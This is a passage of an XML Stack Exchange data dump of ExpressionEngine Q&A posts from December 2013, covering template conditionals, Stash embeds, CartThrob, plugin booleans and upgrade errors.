&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Todd&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UDoWv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="284" LastEditorUserId="284" LastEditDate="2013-12-16T01:42:34.980" LastActivityDate="2013-12-21T15:48:35.677" Title="Matrix-like survey for client" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17660" PostTypeId="2" ParentId="17655" CreationDate="2013-12-12T20:33:07.897" Score="-1" Body="&lt;p&gt;If I'm not mistaken, I read that you must return boolean values from plugins and modules as 'TRUE' and 'FALSE'&lt;br&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html#conditional-variables&quot; rel=&quot;nofollow&quot;&gt;EE Template Class - Conditional Variables&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2013-12-12T20:33:07.897" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17664" PostTypeId="2" ParentId="17532" CreationDate="2013-12-12T22:41:22.283" Score="1" Body="&lt;p&gt;After updating and getting some good feedback Exp:resso, we found that the update added a variable where the rule applied to carts from $0 - $0; thus it would never display.&lt;/p&gt;&#xA;" OwnerUserId="2471" LastActivityDate="2013-12-12T22:41:22.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17665" PostTypeId="1" AcceptedAnswerId="17675" CreationDate="2013-12-12T23:32:01.417" Score="1" ViewCount="80" Body="&lt;p&gt;I'd like to return 5 entries from 5 channels in a list, the list being comprised of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the one most recent entry from each channel&lt;/li&gt;&#xA;&lt;li&gt;in order of date&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A simple exp:channel:entries loop with a limit of 5 and channel=&quot;blog1|blog2|blog3|blog4|blog5&quot; will bring back the 5 most recent entries overall, but not just one entry per channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And 5 channel:entries loops will bring back the most recent, but not with them in the right order -- and the overhead of 5 channel:entries loops makes me cringe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you do it?&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2013-12-13T13:22:21.367" Title="One most recent entry from multiple channels" Tags="|channel-entries|date|orderby|loop|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17666" PostTypeId="1" AcceptedAnswerId="17667" CreationDate="2013-12-13T00:37:34.340" Score="1" ViewCount="122" Body="&lt;p&gt;When using the entry_id param in &lt;code&gt;{exp:channel:entries}&lt;/code&gt;, is it possible to do some advanced conditions like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;entry_id=&quot;(not 58) AND 99|100|101&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, what I was looking for is if you can use AND, OR and NOT.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-12-16T16:09:34.930" Title="Channel Entries - Advanced Entry Id Filters" Tags="|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17667" PostTypeId="2" ParentId="17666" CreationDate="2013-12-13T01:55:13.270" Score="1" Body="&lt;p&gt;This is not possible with this tag. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-12-13T01:55:13.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17668" PostTypeId="1" AcceptedAnswerId="17683" CreationDate="2013-12-13T04:24:43.650" Score="0" ViewCount="173" Body="&lt;p&gt;I've run into a bit of an issue when working on a video archive site for a church. I currently have sermon series in a channel and then services in another channel that is tied to the series channel by a relationship field. I want to be able to feature a single week's service on the homepage, but I can't seem to figure out how to get the service's URL to point to the series  URL. The site is here: &lt;a href=&quot;http://video.lifebridgechurch.com&quot; rel=&quot;nofollow&quot;&gt;video.lifebridgechurch.com&lt;/a&gt;. On the homepage, I have the featured post which is using Comment URL Title Auto Path to generate the URL. However, I need the last segment of the URL to be the series URL instead of the service title since I don't have a template for just a single service. If you go to the full archives and click on a series, all of the services are shown in tabs so they don't need their own template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried MX Title Control but I can't seem to get it to do what I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this makes sense! Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="2482" LastActivityDate="2013-12-13T20:07:30.853" Title="Comment URL Title Auto Path for other channel" Tags="|ee2|url|url-title|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17669" PostTypeId="2" ParentId="16746" CreationDate="2013-12-13T04:32:28.683" Score="1" Body="&lt;p&gt;Very late response here, and not quite an answer.  In your case you want to cache all these things, in mine I want them to behave as functions, basically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it's in the same area so I thought might be useful for the discussion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use stash in a functional way all through he site I am developing.  I guess coming from a programming background I just can't stand repeated code...so where I see it, I try and make a function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I 'call' it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;{stash:url_path}{stash:embed:utility:url_builder stash:channel_short_name=&quot;{channel_short_name}&quot; stash:entry_id=&quot;{entry_id}&quot; stash:urlt=&quot;{url_title}&quot; random}{/stash:url_path}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the 'function' itself is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&lt;code&gt;&#xA;{!-- URL BUILDER --}&#xA;{!-- Takes: entry_id, channel_short_name, urlt (=url_title) --}&#xA;{!-- Takes: inks and paper_sub_cats - lists of categories --}&#xA;{!-- Returns: the URL stub for the entry e.g. /inkjet/print-packaging/cystral-clear-bags --}&#xA;{!-- Returns: 'ERROR' if it can't work it out--}&#xA;&#xA;{!-- set a list of the inkjet categories--}&#xA;{snippet:global-global_set_inkjet_categories}   &#xA;&#xA;{!-- get (one of..) the deepest category for matching in url_builder--}&#xA;{exp:gwcode_categories entry_id=&quot;{stash:entry_id}&quot; last_only=&quot;yes&quot; limit=&quot;1&quot; parse=&quot;inward&quot; style=&quot;linear&quot;}&#xA;    {exp:stash:set name=&quot;deepest_cat_url_title&quot; debug=&quot;yes&quot; random}{cat_url_title}{/exp:stash:set}&#xA;{/exp:gwcode_categories}&#xA;&#xA;{exp:switchee variable=&quot;stash:channel_short_name&quot; parse=&quot;inward&quot; debug=&quot;yes&quot;}&#xA;        {case value=&quot;product_inkjet_paper&quot;}/inkjet/paper/{stash:urlt}{/case}&#xA;        {case value=&quot;product_printer&quot;}/inkjet/printer/{stash:urlt}{/case}&#xA;        {case value=&quot;product_monitor&quot;}/monitors/{stash:urlt}{/case}&#xA;        {case value=&quot;product&quot;}&#xA;            {!-- the tricky one - these products can be found at a number of different URLs --}&#xA;            {!-- so we need to use categories... --}    &#xA;            {switchee variable=&quot;stash:deepest_cat_url_title&quot; parse=&quot;inward&quot;}&#xA;                {case value=&quot;{stash:paper_sub_cats}&quot;}/inkjet/paper/{stash:urlt}{/case}&#xA;                {case value=&quot;sample-packs&quot;}/inkjet/sample-packs/{stash:urlt}{/case}&#xA;                {case value=&quot;print-finishing&quot;}/inkjet/print-finishing/{stash:urlt}{/case}&#xA;                {case value=&quot;print-packaging&quot;}/inkjet/print-packaging/{stash:urlt}{/case}&#xA;                {case value=&quot;albums-and-cards&quot;}/inkjet/paper/{stash:urlt}{/case}&#xA;                {case value=&quot;{stash:inks}&quot;}/inkjet/ink/{exp:stash:get name=&quot;deepest_cat_url_title&quot; random}{/case}&#xA;                {case default=&quot;yes&quot;}URL_BUILDER_ERROR{/case}&#xA;            {/switchee} &#xA;        {/case}&#xA;{/exp:switchee}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...this works a treat to give me the full url to an entry.  It does have one issue though - I get whitespace in the returned url.  The url is perfectly functional, but I haven't worked out a way to trim the whitespace yet as stash embed don't have a trim parameter (have been meaning to ask about Mark Croxton about this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have several of these utilities that are key pieces of code.  There is most likely a performance hit but it seems well worth if for the much better maintainability of isolating this logic to one place.&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2013-12-13T04:32:28.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17670" PostTypeId="1" CreationDate="2013-12-13T06:41:15.640" Score="3" ViewCount="322" Body="&lt;p&gt;I'm using Store to manage products with lots of modifiers. At some point, a product will reach a number of modifiers where it starts producing a &quot;Date field is required&quot; error every time I try to save the entry in the Publish Page. There is, of course, a value in the Date field, but somehow it seems to not be making it to the server properly. How can I troubleshoot/fix this? Is it possible to have &quot;too many&quot; modifiers on a product?&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-12-13T06:45:06.753" Title="&quot;Date field is required&quot; error when saving entries" Tags="|expresso-store|php|error|php.ini|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17671" PostTypeId="2" ParentId="17670" CreationDate="2013-12-13T06:45:06.753" Score="4" Body="&lt;p&gt;Turns out, this has nothing to do with Store at all. Found my answer on &lt;a href=&quot;https://stackoverflow.com/questions/9977497/php-and-too-many-input-fields&quot;&gt;StackOverflow&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Since PHP 5.3.9 there's a new configuration setting called&#xA;  &quot;&lt;a href=&quot;http://de3.php.net/manual/en/info.configuration.php#ini.max-input-vars&quot; rel=&quot;nofollow noreferrer&quot;&gt;max_input_vars&lt;/a&gt;&quot; which limits the number of input variables. The&#xA;  default setting is 1000. Also check if &lt;a href=&quot;http://www.hardened-php.net/suhosin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Suhosin&lt;/a&gt; is installed, because&#xA;  there's also a &lt;a href=&quot;http://www.hardened-php.net/suhosin/configuration.html#suhosin.post.max_vars&quot; rel=&quot;nofollow noreferrer&quot;&gt;similar setting&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="262" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-12-13T06:45:06.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17672" PostTypeId="2" ParentId="17652" CreationDate="2013-12-13T08:03:42.497" Score="2" Body="&lt;p&gt;Simply ordering by the Low Events channel field would do the trick, so try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;orderby=&quot;my_low_events_field&quot; sort=&quot;asc&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-12-13T08:03:42.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17673" PostTypeId="2" ParentId="17612" CreationDate="2013-12-13T09:36:03.593" Score="2" Body="&lt;p&gt;I've also read that it's not a good idea to put the channel forms tag inside the channel entries tag, but I'm doing it anyway for a site where I couldn't find another solution to the problem I was encountering and it's working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would say (like Romans-8---31-39 said in the comment) try it as a separate tag if possible. If you can't try nesting it and see if it works for your site. If that doesn't work you could have the channel form in an embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas about why it's not a good idea: I would guess because you're doubling the query on the database for one thing, but it would also be doing that separating them or using an embed. The other thing is that in the parse order the surrounding channel entries tag gets processed before the channel form entry, and I'm not sure if that entry tags are being parsed by the channel entries tag or the channel forms tag.&lt;/p&gt;&#xA;" OwnerUserId="1217" LastActivityDate="2013-12-13T09:36:03.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17674" PostTypeId="2" ParentId="16746" CreationDate="2013-12-13T12:57:25.373" Score="1" Body="&lt;p&gt;In stash builds, I would use stash embeds for things like sidebars, etc. so maybe not as granular as CTA buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In those cases, I use them with the &lt;code&gt;process=start&lt;/code&gt; parameter, &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Embeds&quot; rel=&quot;nofollow&quot;&gt;which makes them act pretty much like EE snippets&lt;/a&gt; and include them in the other template before any other EE tags are parsed. Using that, I often don't need to pass variables around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also use &lt;code&gt;parse_stage=&quot;set&quot;&lt;/code&gt;. Don't forget to turn of file syncing in production using &lt;code&gt;stash_file_sync='false'&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-12-13T12:57:25.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17675" PostTypeId="2" ParentId="17665" CreationDate="2013-12-13T13:22:21.367" Score="3" Body="&lt;p&gt;You're in custom plugin territory Travis. Pretty easy though.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Run one (very quick) query to get the latest &lt;code&gt;entry_id&lt;/code&gt; in each channel (query &lt;code&gt;exp_channel_titles&lt;/code&gt; only). Save them all to an array.&lt;/li&gt;&#xA;&lt;li&gt;Then, you can either return those entry_ids as a variable (concatenated with &lt;code&gt;|&lt;/code&gt;), which you pass to your &lt;code&gt;channel:entries&lt;/code&gt; tag in your template, or instantiate a new Channel instance and return it directly.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://expressionengine.stackexchange.com/a/5796/55&quot;&gt;this great answer on a related question&lt;/a&gt; by Adrian for some sample code.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-12-13T13:22:21.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17676" PostTypeId="2" ParentId="17654" CreationDate="2013-12-13T13:33:38.383" Score="1" Body="&lt;p&gt;The order the fields are displayed is based on the order they are in in the field definition section of the form configuration.  I just tested moving several fields around, and the edit form reflects the changes.  I am assuming that you are referring to the entry edit in the CP and not the freeform:edit tag. Just drag them into the position you'd like.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-12-13T13:33:38.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17677" PostTypeId="1" AcceptedAnswerId="17708" CreationDate="2013-12-13T14:19:26.877" Score="1" ViewCount="106" Body="&lt;p&gt;I've installed the &lt;strong&gt;Postmaster&lt;/strong&gt; module from Objective HTML and I'm using the &lt;strong&gt;Send system email&lt;/strong&gt; hook. When the system sends an email I will receive it twice because the postmaster hook don't override the system functionality entirely... So how to disable the default email notification templates?&lt;/p&gt;&#xA;" OwnerUserId="171" LastActivityDate="2013-12-14T19:01:58.987" Title="Disable default email notification templates" Tags="|ee2|email|postmaster|system|system-messages|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17678" PostTypeId="2" ParentId="17666" CreationDate="2013-12-13T15:14:28.227" Score="1" Body="&lt;p&gt;You can probably accomplish what you're seeking to do by using the &lt;a href=&quot;https://github.com/expressodev/channel_query&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Channel Query&lt;/strong&gt;&lt;/a&gt; plugin. It has all of the features of &lt;code&gt;{exp:channel:entries}&lt;/code&gt;, with the flexibility of the Query module. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel_query &#xA;    sql=&quot;SELECT entry_id FROM exp_channel_titles WHERE /* your custom query here */&quot;&#xA;}&#xA;    &amp;lt;!-- all channel entries variables can be used here --&amp;gt;&#xA;{/exp:channel_query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-12-16T16:09:34.930" LastActivityDate="2013-12-16T16:09:34.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17679" PostTypeId="2" ParentId="17643" CreationDate="2013-12-13T15:58:04.030" Score="1" Body="&lt;p&gt;Just for anyone's reference should you come across this, what I did to solve the issue was:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a text field with $150 (text with no .00) in it and displayed this on my product page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Put the decimal setting to 2 in store, which allowed the VAT/Tax to show to two decimal places, as well as prices. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All works the way it should. Payment gateways are another matter altogether. &lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-12-13T15:58:04.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17680" PostTypeId="2" ParentId="9929" CreationDate="2013-12-13T16:27:24.447" Score="1" Body="&lt;p&gt;Had the problem as well after updating an old website. Here is how I solved it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As mentioned in the comments &lt;code&gt;ft.rel.php&lt;/code&gt; is the old relationship field. It was causing problems even though I wasn't using it because it was listed in the database.&lt;/li&gt;&#xA;&lt;li&gt;Check that you are not using it in any of your fields by going to the &lt;code&gt;exp_channel_field&lt;/code&gt; table and checking the &lt;code&gt;field_type&lt;/code&gt; column. You should see no sign of a rel field there.&lt;/li&gt;&#xA;&lt;li&gt;If that's the case, simply delete the row for rel field in &lt;code&gt;exp_fieldtypes&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That solved the problem for me.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-12-13T16:27:24.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17681" PostTypeId="1" CreationDate="2013-12-13T17:58:00.260" Score="5" ViewCount="668" Body="&lt;p&gt;I'm not getting any response over on the EE forums, so I figured I'd post my issue here as well.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m attempting to update an EE site from 2.5.5 to 2.7.3, the installer process runs smoothly, but then I get the following error on the front end &amp;amp; when accessing control panel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Call to undefined function reduce_double_slashes() in admin/expressionengine/libraries/Extensions.php on line 194&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have rolled my local repo back to 2.5.5, restored my old db, and applied the update again with the same results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else experienced this issue when upgrading to EE 2.7.x?&lt;/p&gt;&#xA;" OwnerUserId="204" LastEditorUserId="150" LastEditDate="2013-12-13T21:55:49.397" LastActivityDate="2013-12-13T23:00:01.717" Title="Call to undefined function reduce_double_slashes() EE 2.5.5 to 2.7.3 upgrade" Tags="|ee2|error|upgrade|ee2-upgrades|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17682" PostTypeId="1" AcceptedAnswerId="17715" CreationDate="2013-12-13T19:55:27.953" Score="3" ViewCount="842" Body="&lt;p&gt;I've seen hints that the native Grid Fieldtype allows multi-file uploads but I can't find that feature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/jf-multi-file-field&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/jf-multi-file-field&lt;/a&gt; says &quot;the new ‘Grid’ field does everything this add-on does&quot; and one of the comments on &lt;a href=&quot;http://ellislab.com/blog/entry/introducing-grid-new-in-expressionengine-2.7&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/blog/entry/introducing-grid-new-in-expressionengine-2.7&lt;/a&gt; seems to indicate the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I must be missing something. can someone explain how I can upload multiple images into the grid?&lt;/p&gt;&#xA;" OwnerUserId="1962" LastActivityDate="2014-01-30T23:58:51.497" Title="Multi-file upload into grid" Tags="|file-uploads|grid|" AnswerCount="2" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17683" PostTypeId="2" ParentId="17668" CreationDate="2013-12-13T20:07:30.853" Score="1" Body="&lt;p&gt;If the series is the parent that you are linking to, you can just use the relationship's &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#id15&quot; rel=&quot;nofollow&quot;&gt;parent tag&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you could simply pull the url_title of the parent entry.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2013-12-13T20:07:30.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17684" PostTypeId="1" CreationDate="2013-12-13T20:14:26.520" Score="2" ViewCount="110" Body="&lt;p&gt;I've been looking at this for a bit, so maybe my eyes are just fried right now, but I can't seem to figure out why the following conditional is not working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {total_items} != &quot;0&quot;}  &#xA;                        &amp;lt;div class=&quot;paddingleft36&quot;&amp;gt;&#xA;                            {if {exp:cartthrob:cart_subtotal prefix=&quot;&quot;} &amp;gt;= &quot;40&quot;}&#xA;                                &amp;lt;div&amp;gt;Delivery Options&amp;lt;br /&amp;gt;&#xA;                                &amp;lt;input type=&quot;radio&quot; name=&quot;delivery_option&quot; value=&quot;pickup&quot;&amp;gt;Pickup&amp;lt;br&amp;gt;&#xA;                                &amp;lt;input type=&quot;radio&quot; name=&quot;delivery_option&quot; value=&quot;delivery&quot;&amp;gt;Deliver to:&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            {if:else}&#xA;                                {exp:channel:entries channel=&quot;cart&quot;}&#xA;                                &amp;lt;div&amp;gt;{pickup_only_notice}&amp;lt;/div&amp;gt;&#xA;                                &amp;lt;div class=&quot;cart_options topminus&quot;&amp;gt;{delivery_minimum_notice}&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                {/exp:channel:entries}&#xA;                            {/if}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right now, it just spits out the {if:else} portion of the code, even if the shopping cart subtotal is greater than or equal to ( &gt;= ) 40. When the subtotal is over 40, the Delivery Options radio boxes should appear, but they don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is very confusing and I assume that it might have something to do with the {exp:cartthrob:cart_subtotal prefix=&quot;&quot;} tag, but this is precisely how the CartThrob documentation suggests creating conditionals with the cart subtotal (e.g. stripping the currency prefix ($) to compare values.&lt;/p&gt;&#xA;" OwnerUserId="2398" LastActivityDate="2014-01-08T23:20:35.707" Title="EE &amp; CartThrob: Conditional Not Working?" Tags="|ee2|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17685" PostTypeId="2" ParentId="17684" CreationDate="2013-12-13T20:14:26.520" Score="1" Body="&lt;p&gt;I came to the solution for this about 10 minutes after I drafted this question, so I thought I'd share it with anyone who might be stuck on this one. It's simple, but might save some time and hair-pulling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out the &quot;decimals&quot; parameter in CartThrob's {exp:cartthrob:cart_subtotal} tag must be set to &quot;0&quot; to properly compare its value with another number (even if that other number also contains a decimal). This seems illogical, but it's the way works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works properly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:cartthrob:cart_subtotal prefix=&quot;no&quot; decimals=&quot;0&quot;}[/code] &amp;gt;= &quot;40&quot;}&#xA;{if:else}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does not work properly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:cartthrob:cart_subtotal prefix=&quot;no&quot;}[/code] &amp;gt;= &quot;40&quot;}&#xA;{if:else}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe a newbie solution, but a solution nonetheless. :D&lt;/p&gt;&#xA;" OwnerUserId="2398" LastActivityDate="2013-12-13T20:14:26.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17686" PostTypeId="1" AcceptedAnswerId="17724" CreationDate="2013-12-13T20:16:19.587" Score="3" ViewCount="73" Body="&lt;p&gt;We have an EE 1.7.3 site with these Solspace add-ons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Static Page Caching&lt;/li&gt;&#xA;&lt;li&gt;Freeform&lt;/li&gt;&#xA;&lt;li&gt;Rating&lt;/li&gt;&#xA;&lt;li&gt;User&lt;/li&gt;&#xA;&lt;li&gt;Friends&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there a preferred way to upgrade these items? Based on this post (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1322/ee1-to-ee2-upgrade&quot;&gt;EE1 to EE2 Upgrade&lt;/a&gt;), I'm understanding that I need to upgrade EE first, then upgrade the add-ons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Backups we have covered and we're running trial upgrades on a dev server first, until we get it right. &lt;/p&gt;&#xA;" OwnerUserId="588" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-12-18T19:41:19.483" Title="Upgrading Solspace add-ons from EE1 to EE2" Tags="|solspace|ee1|upgrade|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17687" PostTypeId="1" AcceptedAnswerId="17689" CreationDate="2013-12-13T20:44:20.857" Score="2" ViewCount="103" Body="&lt;p&gt;I am writing a plugin, and everything is working fine so far. Some of my source data includes booleans. So I want to be able to test for a value of false. This is the plugin code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$array = array('show_data' =&amp;gt; 'FALSE');&#xA;$str = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $array);&#xA;&#xA;return $str;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is the template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if not show_data}&#xA;   &amp;lt;p&amp;gt;This is some data&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if !show_data}&#xA;   &amp;lt;p&amp;gt;This is some data&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it won't work. Is this not supported or am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have this workaround&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if show_data}{if:else}&#xA;   &amp;lt;p&amp;gt;This is some data&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2498" LastActivityDate="2013-12-15T10:39:58.853" Title="How to use negation with a boolean in a tag?" Tags="|conditionals|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17688" PostTypeId="1" AcceptedAnswerId="17703" CreationDate="2013-12-13T20:59:12.443" Score="1" ViewCount="166" Body="&lt;p&gt;I'm using EE 2.7.2 with Stash 2.4.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm attempting to stash an entry_id and then retrieve it again elsewhere on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a site with two important channels - people and awards. On each award, I've got a relationship field (award_winner) that points to someone in the people channel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On any given award detail page, I'm trying to pull in a bunch of information related to the award winner and stick it in a sidebar. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the top of a page, I stash an entry ID for a related entry.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse}&#xA;  {exp:channel:entries channel=&quot;awards&quot;}&#xA;    {award_winner}&#xA;      {exp:stash:set_value name=&quot;winner_id&quot; value=&quot;{award_winner:entry_id}&quot;}&#xA;    {/award_winner}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is working correctly. If I do a *{exp:stash:get name=&quot;winner_id&quot;}* on its own, I get the proper entry ID, but it's not showing up when I try to stick it into  &lt;em&gt;exp:channel:entries&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Down in the sidebar, I'm pulling in a list of entries related to that award winner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I'm trying to do that like so: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;people&quot; entry_id=&quot;{exp:stash:get name=&quot;winner_id&quot; parse=&quot;inward&quot;}&quot; dynamic=&quot;no&quot;}&#xA;  &amp;lt;h2&amp;gt;Other awards won by {title}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;      {parents 